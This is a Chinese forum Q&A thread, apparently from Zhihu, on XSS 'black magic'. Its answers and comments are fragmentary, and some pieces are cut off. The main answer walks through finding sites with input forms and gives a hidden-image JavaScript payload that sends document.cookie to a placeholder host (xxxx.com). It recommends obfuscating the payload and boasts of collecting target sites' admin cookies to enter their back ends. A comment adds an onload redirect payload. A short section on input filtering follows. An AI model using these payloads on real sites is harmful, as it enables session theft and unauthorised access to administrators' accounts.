XSS 攻擊有哪些黑魔法？

12-27

無恥的拉來前幾天寫的一個SVG的黑魔法
SVG XSS的一個黑魔法

svg呢。。。。

殘暴的jother
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如果可以讓 XSS 實時運行任意代碼。。。

雖然這樣很好很強大，但是，，用戶看完了這一頁內容，關了這個標籤就失聯了。

XSS的黑魔法真算不上黑魔法。XSS 全稱(Cross Site Scripting) 跨站腳本攻擊。當目標網站目標用戶瀏覽器渲染HTML文檔的過程中，出現了不被預期的腳本指令並執行時，XSS就發生了。

XSS主要是用來給有漏洞的網站掛馬，盜竊用戶的cookie等，一般會把XSS分成三類：反射型XSS(非持久型)、存儲型XSS(持久型)和DOM XSS。

XSS是在用戶瀏覽器端執行的，使用最多的是存儲型XSS。如果要說XSS的黑魔法是什麼？那就是想一切辦法繞過目標網站的過濾，這樣你的XSS攻擊才能發揮作用。

說一下我測試XSS的過程(我是不會做壞事的)：

1 找到目標網站，需要有表單輸入的網站，比如註冊，登錄，網站建議等有表單輸入的地方。
找到網站表單

只要有用戶輸入的地方，就有xss的容身之地。2 測試不被預期的腳本
最普通的xss攻擊就是提交js代碼腳本，比如

&


我們一般會通過存儲型攻擊去獲取網站的管理員密碼，也就是通過腳本獲取管理員的cookie信息然後模擬登陸。比如我們可以用下面的代碼，這段代碼提交到後台，如果目標網站的後台沒有處理xss的過濾，就會執行腳本。最好有一個後台伺服器，用來存儲管理員訪問這段腳本的，訪問頁面，cookie信息。
&var img = document.createElement("img");img.src="http://xxxx.com?c="+document.cookie;img.style.display="none";document.getElementsByTagName("body")[0].appendChild(img);&


最好把上面的代碼混淆一下更好。
比如我就記錄了一堆目標網站的信息


哈哈，有管理員的地址，還有cookie信息，直接進入後台。不要做壞事。
3 黑魔法
XSS的黑魔法是什麼？想一切辦法繞過目標網站的過濾。
4 防範
過濾！過濾！過濾！
永遠不相信用戶的輸入。永遠不相信用戶的輸入。永遠不相信用戶的輸入。需要對用戶的輸入進行處理，只允許輸入合法的值，其它值一概過濾掉。不要讓不可預期的腳本被在瀏覽器上執行，所以在前端和後端代碼上都加上過濾方法。過濾掉所有不可預期的腳本。
移動端成功了誒。

 
@知乎小管家 你們家話題頁面沒做XSS過濾你知道嘛

 onload="javascript:location.href="http://www.baidu.com""


測試
有沒有用

誰幹的啊

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估計又是SSR的鍋

劍心當年把xss分段寫進一個頁面。
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TAG:網路安全 | 黑客Hacker | XSS | 黑客攻擊 | 知乎Bug反饋 |